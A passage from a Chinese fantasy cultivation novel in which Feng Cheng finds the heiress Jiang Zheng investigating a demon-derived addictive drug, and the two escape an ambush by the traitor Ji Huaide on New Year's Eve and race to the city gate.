说着说着,这乞丐竟还拖腔拉气地唱了起来,封澄提着剑,满心只想把姜徵从这破地方里揪出来,谁管这木塔的戏文以及传说背景?谁知这乞丐竟梗着脖子跟她进了木塔,长吁短叹的声音大得能把木塔上的陈年旧灰齐齐震造反。 “那人戚戚然,阻止了众人分割仙人心脏的刀,转而捧起了仙人的心脏,向着仙人的故土而去,谁知未分到血肉的饥民不满了,纷纷拥堵住这人,嫌恶这人领走了如此大的一块血肉,纷纷伸手要抢,那人躲闪不及,一跤跌倒,把仙人的心滚落在地,众人纷纷欲抢夺之际,却见那心一沾泥土,霎时化成了一团浓黑的血肉——你当如何?仙人本该端坐云端,滚落凡尘,沾了尘土的,那还叫仙人吗?算吗?算吗?” 他亦步亦趋地跟着封澄的脚步爬塔,一 边爬着,一边还拿缠着破布的拐杖戳封澄的小腿,欲叫她有个捧场,封澄一脚深一脚浅地爬这极陡的木塔,本就爬得一肚子火气,被这么一戳,心中不由得道:“我能不能把他踹下去?或者他把我踹下去也行。” 这般想着,她还是不耐道:“沾了些泥土怎么?馒头掉地上,吹吹还能吃呢。” 乞丐喋喋不休道:“沾了泥土的不是旁物,是心,是心!凡尘是最毒的物,常人沾了,便要受生老病死,轮回不休之苦,仙人沾了,难道能例外?” 这吃人肉的鬼故事简直没完没了,封澄对一颗会说话的心脏没半点儿兴趣,她虎着脸回头:“你下去不下去?不下去我送你下去。” 乞丐却仰着脏兮兮的脸冲她一笑;“这就快说完了,说完了我就下去。” 封澄叹了口气,转身继续向塔上走去。 眼见着已经要到塔顶,乞丐道:“这仙人的心落在地上的刹那,吃了仙人肉的人便纷纷狰狞起来,或是口吐黑水,或是狰狞抓人,一个一个地都没了人形,所有人都大惊,说:‘是魔啊,原来仙人是魔啊。’然后,世间便诞生了一个新的魔种,名字叫人魔,取义化简‘原来仙人是魔啊’——这,就是人魔诞生的传说。” 封澄:“……” 即便是好脾气如封澄,此时也忍不住破口大骂起来:“写传说的人得被猪撞了八百个来回才能想得出这个展开,人魔的全名叫‘原来仙人是魔啊’,你敢不敢再荒谬一点?还有,那个‘啊’是怎么回事?!” 乞丐悠悠长叹一口气,跟着封澄踩上了最后一节木阶。 “没错啊,”他道,“还有一件事,你记得我在说这座塔么。” 陡然间,封澄的脚底轰隆隆作响。 “在仙人的心脏滚落之处,生出了这座木塔,它是不能走到最高处的……就像那个仙人一样,一旦做仙登到了最高处,便会一照扭转,重重地栽进地底中去,沦为永世不得超生的魔。” 眼前霎时天翻地转,天旋地转的失重感霎时令封澄站立不稳,她心道一声不好,方要引剑出鞘,却见那乞丐冲她一笑,随即整座塔仿佛张开了嘴的巨兽一般,闪电似地将她吞了进去。 一片黑暗中,封澄心中只划过了一句话。 “操他八辈子祖宗,果然该把他踹下去。” 一片黑暗之中,封澄咬着牙,拍了拍身上的骨头,确认没有伤处后,撑着剑站了起来。 伸手不见五指,姜徵怎么会在这种地方? 封澄不抱希望地四处摸索,拍了拍墙壁,一拍,便有一道女声冷冷道:“你怎么来了。” 若非这道声音过于熟悉,封澄险些就拔剑捅上去了,一回身,嚓嚓嚓一排风声,火烛次第而亮,映出了不远处乌黑的人影。 乌黑的,沉寂的一团人影。 封澄:“……?” 她不由自主地睁大了眼睛,看着在一群乞丐之中,为首之人颇为不耐烦地抬了抬下巴:“问你呢,来做什么?” 封澄:“……” 她像见了活鬼一样瞪大了眼,张了张嘴,又闭了闭嘴,眼神之无助,仿佛要随时把自己当场吊死。 苍天,祝京还是说得保守了,这哪里是交了三教九流的朋友,这是在三教九流的朋友里混成了老大。 姜徵玩儿这么野的吗! 她结结巴巴道:“嗯,你师尊叫我来,找你,说你再不回去,姜皇后要砍了他的头。” 姜徵即便是做此地老大,也做得格外出尘些,她冷冷地将刀往肩上一架,呸地一口把口中的烟叶吐了。 封澄的目光悄悄地挪到地上的烟叶上。 “回不去,”她冷冷道,“眼下年关,出了大案,我这里正愁人手不够,走不了。” 大案?能有多大?把祝京的头砍下八百回这么大么? 姜徵的话音中并没有多么友好,想来是骤然被撞破了这层身份,心中十分不爽。封澄早在心底偷偷地把祝京骂了个遍——说是个送信的,眼下看起来像是要被灭口了。 活该他被砍头,封澄正恨恨地想,忽然一转念,福至心灵地想:“或者说就连祝京也不知道姜徵在做这些事情。” 话音方落,披着花里胡哨各色斗篷的人便齐齐看向封澄,封澄弱弱地伸出手来:“敢问在做什么事么?” 姜徵定定地瞧了瞧她,分外冷淡的眸子在地下的火光中映射着晦暗不明的光:“怎么,回去告状?” 周围的气氛霎时森冷了起来。 封澄摇了摇头,不躲不闪地迎上众多不善的目光:“不是,你方才说人手不够,我多少也算个人,早忙完早回去。” 姜徵盯着她,上下扫视,半晌,嗤笑一声。 “乳臭未干的毛丫头,”她冷冷道,“从哪来的滚回哪里去,这儿轮不到你添乱——回去给我师尊说,待我姨母唤我上殿之前,我必然回洛京。” 乳臭未干四个字正正地砸在了封澄心头,她方被那乞丐摆了一道,又重重摔了一下,心头的火早已按捺不住,登时不管不顾地道:“你回不回去关我什么事?死在外面也不关我事,只怕姜少主金枝玉叶,突然一死,您老那不讲理的姨母便动手把天机院上下统统送去给少主陪葬,黄泉路上挤得慌!” “你说谁是——” 话音未落,便有人悄悄地拉了姜徵一把,不由分说地将她裹着布条的长刀按了回去,随后冲着封澄道:“不知姑娘何方神圣?” 来救人不成,反遭了这番待遇,封澄也赌上气了:“问别人名字前,先自报家门。” 中年男人一噎,姜徵啧一声,抬手便开始拆长刀上的布条,中年人忙手忙脚乱地按住姜徵,回头道:“在下成槐商行季某,在座的皆是成槐走街串巷的苦命人,今日齐聚此处,是因……” 姜徵拦住他:“话忒多。” 封澄发觉,离了洛京……不,是离了姜氏少主这个身份的姜徵,肉眼可见地像一个活人。 对,是活人。 无论是在洛京或是中水,封澄对姜徵的印象只有“话少”以及“人还算冷静靠谱”,原本预想的风波或是冲突一概全无,还有,就姜徵从前那副平静且淡淡的模样,说是赵负雪的翻版也不为过,那祝京又为何脱裤子放屁地给姜徵的刀裹上布条呢?桩桩件件,完全不合常理。 眼下这个戾气十足、和这帮来路不明的人混在一处、甚至可以称得上一句破罐子破摔的姜徵,才合乎常理一些。 想到这里,封澄莫名有些兴奋,连瞳孔都缩成了一粒圆点。 “在下封澄,”她道,“赵负雪门下亲徒,见过诸位。” 第115章 第115章要和师尊一起守岁 人在江湖,有时名头比本事更要紧些,封澄自己是个名不见经传的小兔崽子,可奈何赵负雪盛名在外无人不晓,有便宜不占王八蛋,她年龄还小,却早已把狐假虎威四个字学了个出神入化。果然,那姜徵身旁姓季的中年人变了脸色,忙站起身来,恭敬道:“原来是赵先生门下高徒,失敬,失敬。” 姜徵呵了一声,站起身道:“你还真是什么闲事都要管。” 瞧姜徵态度,这回事竟然是真的! 季先生眼睛一亮,隐隐有些跃跃欲试,封澄敏锐地觉察到这一点,当即压了压气,摆出一副高深莫测的高手模样:“江湖道义,路见不平拔刀相助。季先生有难处,不妨一说。” 无论是与乞丐混成一团的姜徵还是这座古怪的塔,都给了初入江湖的封澄前所未有的新奇刺激,她打定主意要管这闲事,此时早已把赶回鸣霄室吃晚饭丢在了脑后。果然,季先生被“赵负雪亲徒”这四个字引着咬了钩,上去小心道:“姑娘知不知道长醉?” 长醉? 封澄极清澈的眼睛看着他,不用说就知道是一无所知,正在此时,姜徵冷冷道:“瞧见那几个人没有?” 封澄顺着她的目光看去,才发觉角落竟绑着几个黑乎乎的人——只是眼下称他们为人实在是太过咂舌了些,这几人皮肤干瘪,双目爆凸,胸前肋骨一根一根地横陈,仿佛是骷髅刷了层棕油似的。 可其神色反倒是十分恬淡,好似睡在酣沉的梦里。 不知是不是错觉,封澄觉得心跳有点快,她下意识地吞了吞口水。 姜徵居高临下地踹了一脚:“这就是吸了长醉的人。” 封澄微微抿了抿唇,只觉得心中微微一提,紧接着,姜徵又道:“从前倒也罢了,长醉屡禁不止,可也只在私下见不得台面的地方涌动,所害有限。但这几人便好笑了……他们口称从路边买了些 新奇昂贵的烟叶,几月下来,渐成贪瘾,便成了这副模样。” 封澄重新打量了几人,当即被一人身上过分松垮的皮肉吸引走了视线,半晌,皱眉道:“几月便消瘦成了这样?” 姜徵冷笑:“若只是消瘦,我也不必冒着如此风险出京不回,你看。” 她抽出季先生腰上匕首,从指尖划了一道血痕来,刹那间,原本恬淡睡着的人猝然睁大了眼睛,随即疯了似的挣动着身上锁链,发出一阵哗响,封澄甚至看见几人身上隐隐蹿出了灵流! 演示过后,姜徵吮了吮手指,鲜血消弭,那几人渐渐地平静下来,重新睡了回去,姜徵看着封澄,原本极冷淡凌厉的眼中多了几分说不出的忧心:“闻血便疯,且明明是凡人,身上却被逼出了灵力……从前的长醉,并没有这番作用。” 室内一片死寂,封澄的耳边似乎还铮铮回荡着铁链的荡响,心头那股难言的焦意隐隐又向上冒尖,她不知这焦意从何而来,平复半晌,才将将开口:“……那些烟草,你查过了吗?” 姜徵努了努嘴:“地上。” 定睛一看,正是姜徵方才嚼的那些。 封澄:“……” 好一个虎口销烟。 一边说着,姜徵一边踱步过去,冷冷道:“问题不在这些烟草上,而在封存烟草所用的蜡上……只是拿烟草在蜡上滚一滚,便足以令一个成年男子成瘾无法自拔,封大剑仙,你可知晓眼前是如何的凶恶之徒么?” 季先生补充道:“敢在四方会前售卖长醉,幕后之人不是胆子够肥便是靠山够大,眼下小的已派人将城中商路细细审了一遍,现在大致有了头绪,正要去捉拿烟贩。” 四方会,封澄从前也有所耳闻,似乎是民间小贩自行聚集的某个颇有规模的组织,里头没什么大商豪贵,尽是贩夫走卒。她的目光重又投向一旁的季先生,心中了然——这位想必就是四方会原本的领头人了。 季先生又道:“长醉此物制取不易,还要取天魔身上物件作材料,眼下缴取的长醉更非凡物,经姜大人猜测,怕是有人形天魔的东西掺在了里面。” 人形天魔。 封澄心中咯噔了一声——姜徵与她,都无比地清楚人形天魔是什么东西。 等闲修士,莫说是宰杀人形天魔,就连近身一下也难,封澄自问也是有两把刷子的修士了,可即便是她,在面对神水村的人形天魔时,也险些吃了大亏。 能宰杀人形天魔,并将其制作成长醉的人,该是何等的庞然大物? 姜徵留神觑着封澄神色,见她沉默不语,只当她打了退堂鼓,人冷嗤一声,心底却不由自主地替她找了原因;“年纪小,又没见过世面,迎上神水村的东西已经不易,一时半会何必再赶鸭子上架?罢了。” 她冷冷道:“切忌打草惊蛇,你点一队身有灵力的,随我进去抓人。” 姜氏少主有条不紊地分配这一群连剑都未必拿过的乌合之众,封澄在一旁看着,忽然就觉得有些荒诞了。 “喂,”她道,“都知道背后之人不好处理了,你还敢带着这群人去送菜?” 姜徵瞥了她一眼。 “我乃姜氏少主,”姜徵目光中有几分说不出的倨傲,“他们敢拿我怎么样?若是不妥,不过是亮个腰牌的事。” 季先生的眼神飘忽了一瞬。 封澄年纪虽小,人却早在长煌大原摸爬滚打许久了,对于此等拼杀更有着胜过野兽的直觉,当即便觉不对,一把拉住姜徵:“等等!” 从前不是修道之人时她便知道,血肉战场上,一切旁物都是虚的,所有的信赖也只能寄托于手上尖刀。生死一线间,世家少主的名头还不如一把开了刃的好剑管用。 可姜徵也只不耐烦地道:“早些收拾好,回洛京去,你一个孩子不要掺和,回去同你师尊说一声,若是赵家感兴趣,再派人来。” 季先生的模样莫名令封澄有些忧心,她也是在洛京浸淫了多少日的人了,此时心中冷静下来,看向他时便有了几分审视。 “行,那我就不去了,”封澄道,“我师尊还在等我吃饭,告辞。” 姜徵看了她一眼,默了默,很是眼不见心不烦地摆了摆手。 此塔机关万千,季先生去动了动,封澄便出塔离开了。 姜徵头也不回地道:“走。” 据季先生的审查,目标锁定在了此城郊外的一座民房里,这地方人迹罕至,叫天天不应,叫地地不灵,姜徵还真不知道这倒卖长醉的人是如何发现这么一处好地方的。 埋伏了一整日,直到此日深夜,破败的民房中忽然亮起了昏暗的灯。 “消息看来不错,今夜子时,开始交接长醉,人证物证俱在,保是抵赖不得。” 他办事稳当,姜徵从来放心。 几个能拿得动剑的四方会修士跟着姜徵守在这破屋附近,夜半三更,只闻几声咕咕叫,姜徵果断一招手:“动手!” 一声脆响,姜徵提步踹了木门,可门中之景却不似她所想——里头一盏孤灯空落落地亮着,屋里空无一人。 她心底一咯噔,紧接着暗道一声不好,转身提步,却见从天而降数道血符齐齐压来,紧接着将这四处漏风的破屋困得严严实实,此时即便是傻子也知道被困了,而姜徵的第一反应竟然是盛怒。 “季怀德,”她寒声道,“你好大的胆子。” 季怀德眯着狐狸眼,身后陆陆续续地冒出了许多鬼魅似的影子——凭姜徵灵力,竟然一无所觉! “姜少主,”季怀德依旧是慈眉善目一张脸,“小的也没别的意思,近来寒舍宽敞,请您去略住几日。” 四方会,于姜徵印象之中,不过是破烂得在破烂不过的一个小商会,还时时遭地痞流氓欺负,何时有了这么一群高手坐镇! 眼前的血红符并非她见过的任何一种书中符咒,她拆刀,也顾不得上头布条了,一甩,只觉得灵力仿佛被这诡异符咒吸附走了似的,令人极为酸软无力。 “你知道我是谁,”她一字一顿地道,“我若出事,姨母定然夷平整个成槐。” 季怀德微微一笑:“咱们都绑姜少主了,难道还怕这个?” “若是方才赵尊者的徒弟也在就好了,”季怀德有些惋惜,“还以为今夜能一并卡住赵负雪的脉门,可惜那丫头又孬又怂,跑了。” 顿了顿,他摸着下巴,微笑道:“不过也不妨事,有了姜少主,一切都好说……沦落如此地步,大人的脸色还未见半分惧色,着实令人有些看着不爽,这样,给姜姑娘卸点零件下来,正好给咱们皇后娘娘开开眼。” 话音未落,便有一黑衣人上前一步,姜徵惊怒交加,偏生身上灵力处处受阻,那人长刀的铁腥气已近在眼前,伸手就要近来捉她。电光火石之间,忽然一声剑声铮然,那人表情一空,紧接着那整个头竟然就这么飞了出去! 腔子里霎时喷出半人高的鲜血。 “是谁!?是谁在暗地搞鬼!”季怀德如临大敌,手下黑衣之人齐齐围成一团,严正以待,忽然众人眼前一花,只见一鹅黄身影不知从何处猛地蹿了出来,紧接着便 是纸片落地的簌簌声:“还愣着做什么,跑啊!” 姜徵定睛一看,脸色登时变了——封澄! “你怎么还没走!”她失声道。 “我要是走了怎么和你师尊交代,”封澄干脆地把人一拉,还不忘挖苦她:“姜少主,那姜家令牌为您挡了几刀几剑啊?” 姜徵脸一黑,一旁的季怀德也反应过来,他脸色一沉:“送你一条活路不走,倒是自赶着来找死——把她也给我抓了!” 长生剑身窄,又是轻灵之剑,用剑比武顺手,御剑飞行却是根骨不足,她拉着姜徵蹿出不远,便降在屋檐上踩着轻功急行,身后的追杀之人越跟越紧,封澄不由得道:“你那姜氏的烟火呢?你随身的护卫呢?都这种时候了,怎么还不叫出来!” 姜徵白着一张脸,紧跟着她的身后急行飞掠,一刀解决了一个扑上来的黑衣人:“除了令牌,姜氏信物上皆有灵力,姜家人循着灵力便能找到我,我怎么敢带!至于你说的护卫——早八百年就甩了!” 封澄叫苦不迭,忽然间眼前横杀出另一群黑衣修士,她无从躲闪,索性把剑一收,勾手一脚猛踹了过去,这劲风直直扫倒了一排修士。登时姜徵有些傻眼。 “……你学什么剑啊,”她喃喃道,“真是耽误你本事了。” 封澄抬起眼,正要说话,却见不远处的夜空中陡然砰地一响,紧接着,便是一树耀目至极的花火怦然炸开。 “……” 她缓缓地看向了姜徵:“……今天是年三十。” 姜徵冷着脸点了点头:“还有最多半个时辰,城门落锁,第二日才可通行。” 而封澄心中想的却不是这些。 “坏了,”她终于想了起来,“答应要和师尊一起守岁的。” 第116章 第116章抓住她 夜风与杀声太过嘈杂,令姜徵一时竟没有听清封澄所言,此时姜徵的目光全然停在了身后穷追不舍的杀手身上,眼见着封澄走神,姜徵眼疾手快地打落了她面前的飞矢,怒道:“你在想什么,赶快向城门去!” 封澄猛地回过神来。 成槐不是个很大的地方,可奈何四方会之人选的接头之地实在偏僻,凭二人速度,姑且能在全力之下准时赶到城门,可若是身后跟了一串频频打转的尾巴,那么准时这件事上便要被打上一个大大的问号。 年光之时,街上行人稀少,于是两行人一派跑,一派打,竟也是沉默无声的。 “不对,”将不知道多少波黑衣人甩下屋檐后,封澄微微喘着气道,“他们下手不像从前那般杀心足。” “消耗,”姜徵甩了甩长刀的血珠,玛瑙似的血随着二人跑起的劲风而凝成一粒一粒的冰碴子,踉跄而狼狈地扑在身后穷追不舍的杀手上,激起没过腿的雪尘,“只要在子夜之前将我们拦在城门之外,便能打我们一个瓮中捉鳖。” 瓮中捉鳖。 两个年纪尚轻的修士,即便是天纵奇才,又怎么能与源源不断地、老练而毒辣的杀手相抗?即便一时半会儿杀不死她们,那么城门关闭呢? 城门关,护城大阵一起,即便是把赵负雪拉来,也是要费一番功夫破城的。 姜家少主,赵氏亲徒,倘若再给个三年五年功夫练,几乎能断定是数一数二的高手,哪怕满成槐都是杀手也不在话下,可偏生时运不济,寸到点儿上,年纪轻轻就这么倒霉到要死了! “被人当成鳖的感觉可真不好受,”封澄咬着牙笑道,“左右都是个死,想不想玩个大的?” 刀唰地斩下一人头颅,姜徵擦了擦脸上的血,这血气激起了她几分不管不顾的疯狂,她也不管不顾了,开怀笑道:“想怎么玩?” 姜氏少主从来都是体面的,即便是在乞丐堆里,依旧是端然沉肃,不容冒犯的。 可眼下的姜徵一头一脸都是自己与旁人的血,身上衣物也都被刀剑灵器割得乱七八糟,一旁的封澄更是好不到哪里去——是她平日里见到会忍不住命人拖下去洗了的程度。 唯有一颗心脏剧烈地跳着。 “简单,”封澄道:“你能一个人引着这群人走吗?” 姜徵道:“你想干什么?” “我在想皇城脚下,成槐小城,季怀德到底敢带多少高手出来。” 少女回过头,冲她狡黠一笑,腮上的婴儿肥轻微堆起,露出一个堪称乖巧的弧度,连脸上的血迹都成了她分外鲜明的胭脂——像传闻中北面女子所用的狼血胭脂。 她似乎正是长煌大原的人。 悚然地,姜徵感觉周身被冰棱整个刺了一遍似的,连头发根都兴奋地竖了起来。 “敢不敢赌?”她听见封澄的声音从肩旁传来。 “那你可要接稳了,”姜徵听见自己说,“我的命可就都搭在你这三尺青锋上了。” “彼此彼此,”封澄笑了一声,扬手抛出仅剩的火符。 “——请诸位看个烟花!” 怦地一声,红莲似的火花在众人面前轰然炸开,猩红的、金黄的,炽热地灼烧成一团,爆出一重一重暴雨似的火,几位杀手的惨叫被一重一重的炸响掩盖,人间院落中,尚有不谙世事的孩童,便兴奋地指着道:“焰火!” 明亮到刺眼的火光之中,众杀手或惊慌躲避,或引气相抗,在耀目火光之中,忽有一线雪亮的刀光径直破开烈焰,那刀上沾着血锋、染着烈火,而持刀人的双目却比这刀锋与烈火更为灼目。 “今日姜徵折在此处,”她压着声音,“幸有诸位相伴。” 众人为这火光与刀锋所震撼,一片仓皇之中,竟无人发觉一身影已悄悄溜了出去,风也似的向他们的来处去了。 *** 阴暗小屋之中,季怀德沉颜肃色坐在唯一一张椅子上,外面的大雪越下越大,一时之间,屋中静得能听见枯枝被压折的细微碎响。 他难耐地摩挲着腕珠,片刻,焦躁不安地站了起来。 “那俩小畜生就这么能跑?”他喃喃地道,不知是对谁说的,“即便是翻了天的崽子也是崽子,我四方会门下精锐,竟会连两个小崽都拿不住?” 仿佛是为了回应他说的话似的,屋中自鸣钟又响了一声,季怀德斜眼看去,只见已经是子夜时分了。 子夜时分了,城门该关上了。 想到这里,他微微地松了一口气。 城门关了,她们即便是通天的本事,也经不住一夜的干耗,败局已定。 这么想着,却见身旁随身之卫上前去,小心翼翼地对着那自鸣钟拍打了几下,于是季怀德便眼睁睁地看着原本要落在子夜上的刻度陡然向后跳了跳。 “……”他强压着怒火,“怎么回事?” 那黑衣人一怔,随即歉然笑道:“哦,大人是说这个?这钟是陈年的老玩意了,装着灵石跑的,不知哪个不长眼的,偷了背后的好灵石,塞了个夯货上去,于是这钟便跑得快了两刻。” 两刻。 季怀德心中一沉,忍不住道:“外面有消息没有?抓到人了?” 那黑衣人迟疑道:“似乎是没有,那两个丫头实在扎手,大人不必急,若有了消息,阿甲他们定会送信鸽回来。” 见季怀德依旧是那副心事重重的样子,黑衣人又补充道:“再说弟兄们已然倾巢而出,这么多人抓两人,岂不是手到擒来?大人还请安心。” 季怀德站起来,原地踱了几步,捋了捋干枯的山羊胡,又道:“不知为何,我心中不安甚重,总觉得今夜似乎要出事。” 黑衣人宽慰道:“能出什么事呢,待抓了姜家与赵家的两处死穴回去,您便是那位大人手下第一功臣,享福都享不尽。” 虽这么宽慰着,季怀德还是忍不住心中的不安,他心事重重地地坐了回去,不过片刻,又起了身:“今夜本该一切顺利,姓姜的已经被抓进了网中,可那不知从何冒出来的封澄,却令我心中着实不安——这样 ,你下令去,只要姜徵活口,那封澄,原地杀了。” 黑衣人一怔,张了张嘴,半晌,还是默默地退下。片刻,上来回禀道:“大人,我已放鸽出去,阿甲片刻便收到消息。” 确认了鸽子的离去后,季怀德微微地松了两口气,一主一仆在屋中静静坐了片刻,忽然,季怀德微微地动了动耳朵。 “你……有没有听到水滴的声音?” 黑衣人一怔,随后屏息静听。 “嗒,嗒。” 的确是水滴的声音,黑衣人想了想,道:“兴许是着屋子破败,年久失修,哪里的雪化了罢。” 季怀德微微放了放心,自觉神经过敏,摇头笑了笑,可脸上却陡然一温。 他试探地伸手,摸了一把,在看到手中颜色时,笑容陡然僵在了脸上。 一腔温热的血。 他缓缓地,抬头看去,只见屋顶处不知何处被掏出了一个小洞,上头惨白的月光正正地、毫不偏移地照着屋中唯一一把椅子。 陡然地,什么东西被从那小洞中抛了下来,刹那间,禽类身上的腥气,肮脏的血水,与屋外凛冽的冰雪气息便重重地砸到了他的脸上。 白羽纷飞之中,季怀德肝胆俱颤地听到了一道有些清脆的女声。 “还真是胆大得出人意料,”那姑娘笑道,“竟然只留了一个手下。” 电光火石之间,季怀德猝然明白了此人的来意,他的喉咙爆发出常人难以发出的尖声惨叫:“抓……抓住她!抓住她!!!!” 第117章 第117章秦楚 仓皇拔剑间,少女剑鸣早已递到了面前,季怀德抱头,瑟瑟发抖地躲到了椅子之下,眉宇间全是不可置信——两个大家出身、按理来说应当金贵得连杀鸡都没见过的小丫头,不像平素那些肉票似的哭叫不已、引颈就戮也就算了,竟然还有胆子跑。 而眼下这带血的鸽子则彰显了另一个令他不愿承认的事实——封澄不光敢跑,还试图回头把他杀了! 还有,那群杀手呢?一大群人,连一个小姑娘都看不住? 季怀德的心绪在电光火石之间疯狂地跳动着,可事至如今,又岂是一个叫天天不应、叫地地不灵?封澄仿佛是从地狱里杀出来的恶鬼般,不待他几个呼吸,便鬼魅似的从门口闪到了他的身后,唯一一个护卫竟然连与她交手的机会都没有。 毒蛇似的剑身贴在了他的颈上,季怀德嗅到了上头凛冽的、淬在剑身上的血腥味,当即额头冒出了一层冷汗。 他知道,这把剑是见过血的。 “你好像很是胆大,”封澄新奇道,“我以为你会有什么保命的大杀招在手,再不济也是个能和我过两回的修士,怎么,竟然是个全靠手下的废物?” 剑身老练而准确地贴着他的颈下脉搏,是一个吞吞口水便会被豁开的角度,不待季怀德反应,他便被封澄从椅子底下拖了出来,还没他高的丫头举着剑,顶着他向前走,黑衣护卫有些茫然,拔出了随身短刀,又不知要如何行动。 “你不会只有一只鸽子吧?”封澄冷冷道,“送信过去,就说你们老大在我手上,要他们撤退。” 黑衣人怔了怔,季怀德满头大汗地吼他:“快啊!听她的做!” 一声令下,他不再迟疑,而是从腰间掏出一只小小的花筒,紧接着向上一拉,一簇极为古怪的雪白花火便炸然而出,他道:“能送口信的只有信鸽一只,不过这花火也是撤退之意,比鸽子还快,你看如何?” 封澄皱眉想了想,季怀德道:“都听你说的,撤人了,还请姑娘不要违背承诺,放我一条生路吧。” 闻言,她却展眉笑了。 “放你一条生路?”她慢慢道,“眼下放你,等你手下归来,再把我围困抓死?你当我是傻子么?这样,你们上城门来,我们进城之后,自会放你离去。” 人在剑上,无奈之下,季怀德也只能认了,他心中只深恨自己轻敌,沉吟半晌,道:“听她的。” *** 且战且退,战意昂扬下,姜徵以一敌众,竟将刀意淬出了不可匹敌之锋芒,众杀手一时之间竟奈何不得她。 可毕竟姜徵也不是铁打的人,随着时间过去,新鲜的伤口还是逐渐地出现在了她的身上。 “封澄,”她咬牙想,“这下若是栽你手里,就等着我去阴曹地府里和你算账罢。” 这个想法还未随着她的刀光挥出去,遥遥处便猝然爆出一簇雪白的花火,压在她刀上的杀气忽然间便无影无踪,甚至姜徵收刀之时,只能看见数十人奔着雪白花火而去的背影。 “……成了,”她盯着花火的方向喃喃道,“竟然真的成了。” 猛然地,她反应了过来——黑衣杀手全部回防,那另一边的封澄的处境定然是凶险无比了! 姜徵站在原地思索片刻,回过头去,向城门疾驰而去。 “她定然是把季怀德抓了,”姜徵想,“两人共行,时间不够,要糟了。” 不比封澄剑身轻灵,用刀者多以厚重作底,姜徵当机立断地提身去往城门之上,落地之时,守城者正在城头之上,开始更换护城大阵的灵石。 一年之中,唯有这一夜是团聚的日子,大夏皇帝体恤民情,自登基始,便特下恩旨,从私库拨用灵石以供此夜消耗,人人皆赞其仁德。 而此时此刻,姜徵却迫切地希望不是皇帝颁下来的旨意。 “我乃……姜氏少主姜徵,”她喘着气,按住了守城士兵更换灵石的手,“传姜氏之令,今夜此城暂缓一刻起阵。” 守城士兵被这不知从哪冒出来的姜徵吓了一跳,紧接着,又被她浑身的血气凶光给又吓了一条,登时手一抖,险些把灵石砸在阵盘上,随即他反应过来,眼神不动声色地在姜徵身上梭巡了两圈,才小心翼翼道:“原来是姜少主,不是小的忤逆少主,只是少主晚来了一步,阵盘已启,若没有灵石更替干烧,怕是连整个阵盘都要被烧毁。” 姜徵一怔,随即抬眼瞧了瞧远处,当即咬牙道:“这阵盘按理来说要先装灵石再启用,你们胡乱用且不说,这子时未到,连宫中也还没燃花火,怎么敢提前开阵!” 士兵瞧着满身狼狈血迹的姜徵,脸上有几分犹豫之色,不过马上,还是露出了一副公事公办的脸:“更换灵石也要耗时间的,小的们也只是奉命行事,劳烦姜少主让开些,灵石尚未换完。” 此时的姜徵气得浑身发抖,今日被季怀德骗得命悬一线,她早已焦躁得不似寻常,连带着心中还有股莫名奇妙、前所未有的感觉一同搅合,令她心头只剩横冲直撞的怒意。 于是姜徵一步上前,一掌拍在了阵盘上——她的灵力已在车轮战与赶路之中耗得一干二净,于是这一掌竟连个石屑也没砸出来。 但威势已经足够了,士兵吓了一跳,不由得停下了手,姜徵森然道:“我叫你们停手,耳聋了吗!几个破阵,即便烧了又何妨?!即刻就有姜家来赔!有几个算几个,统统记在我头上!” 她平素本是淡淡的一个人,莫说这群士兵了,连姜家之人也少见其发怒,一时之间,守城士兵竟面面相觑,不敢上前。 身后只有阵盘嘶嘶作响的干烧声。 此时此刻,忽然却有另一清脆的步声从守城士兵中走来,来者与旁人打扮不同,虽是铠甲披挂的模样,腰间却多带了一副令牌,姜徵冷眼看着,心知此人大抵就是这群士兵的头儿。 她身量比旁人矮上一些,于是姜徵方才竟未发觉她是何时过来的,她不躲不闪地上前几步,劈手夺过士兵手中灵石,向着阵盘走去。 “滚回去。”姜徵盯着她。 她却抬起头来,一双沉静的眼正正对向姜徵:“守城大阵事关一城百姓的安危,即便是姜家也是赔不起的,恕难从命。” 说着,她便将灵石向阵盘上按去。 一枚灵石投入阵盘,古旧老化、且干烧得有些冒烟的阵盘霎时如鱼得水般运作了起来,随着嗡的一声,城头上便浮现了隐隐灵流,她抬眼与姜徵对视,手却直直向后一伸:“灵石。” 一枚灵石显然是不够大阵启动的,士兵如蒙大赦般把手上灵石递过去。 姜徵方才的怒意已渐渐地平息下来,眼下盯着这士兵头子,目光中便逐渐地多了几分审视的森寒。 “你是要当着这么多人的面,和我,和姜家作对……胆子很好,叫什么名字?”她慢慢道。 “秦楚,”士兵头子笑了笑,“犯不着和姜家作对,我可没见到这儿有什么姜家人,你有身份凭证?” 姜徵下意识往腰间一 摸——腰牌没了。 她暗暗一皱眉,想来是方才缠斗,不防便掉在哪里了。 秦楚接着道:“且城门士兵,皆为圣上亲军,为圣上所辖,莫说姑娘没什么姜家令牌,即便是有,我等也不必听命。” 说着,秦楚便拿着灵石,径直向阵盘上安置,姜徵眼见着大阵即将启动,一时间什么也顾不得,抬手拔刀,便向秦楚肩头而去。 秦楚只站在原地,一动也不动。 “姜姑娘,”她淡淡道,“这点儿灵力,拦不住我。” 说着,她便从腰间拔了守城的佩刀——那长刀已经有些锈了,十文钱便能从收破烂的那里买一把,随即这把长刀轻飘飘地隔开姜徵那把名家呕心沥血所铸宝刀,颤开了一线抖动的寒光。 被这把刀格开的瞬间,姜徵的脸霎时地惨白,她紧紧地攥着长刀,半晌,刀尖由且颤抖不已。 她忽然便想到了封澄那句半讽半笑的调侃。 ——姜少主,那令牌为你挡了几刀几剑啊? 天生住在权术的云端,日子久了,她只觉得带着姜氏令牌,天下便是通途,只管随心直前。 可在生死刀尖,这令牌之重,却重不过一把生锈的长刀。 她猝然捏紧了拳,这几日来不及修理的指甲霎时将掌心压了四个鲜明的血痕。 “……好。” 沉默许久,姜徵收刀,转身向城头走去,心中陡然是破罐子破摔般的狠绝与胆气。 若不是她受骗遇险,封澄也不必与那季怀德赌命——既然保不了封澄,那么她这条命也不该欠她的。 在她将要飞身而下的刹那,后衣领却被忽然一拉,姜徵有些气急地回过头来,正正撞见秦楚掩在盔甲下的眼睛。 “我说,你先不用这么着急,”她指了指远处,“阵法还没有完全打开,灵力足够的话,大概能轰个容许一人通过的小洞。” 姜徵顺着秦楚所指的方向看去,只见月色之中,有一人手拎一胖大家伙,御着剑,踉跄却极为迅速地向城头而来。 秦楚饶有兴味地看着那把剑:“时间不多,我尽量在阵盘烧毁的最大限度之内添灵石,你家财力如何?够不够补上这一个洞的空缺?” 姜徵的耳中却什么都听不进去了,她抓着城墙,怔怔地看着不远处跌跌撞撞的身影,心中的重石忽然便狠狠的落了下去,砸得心口往下一片荡响。 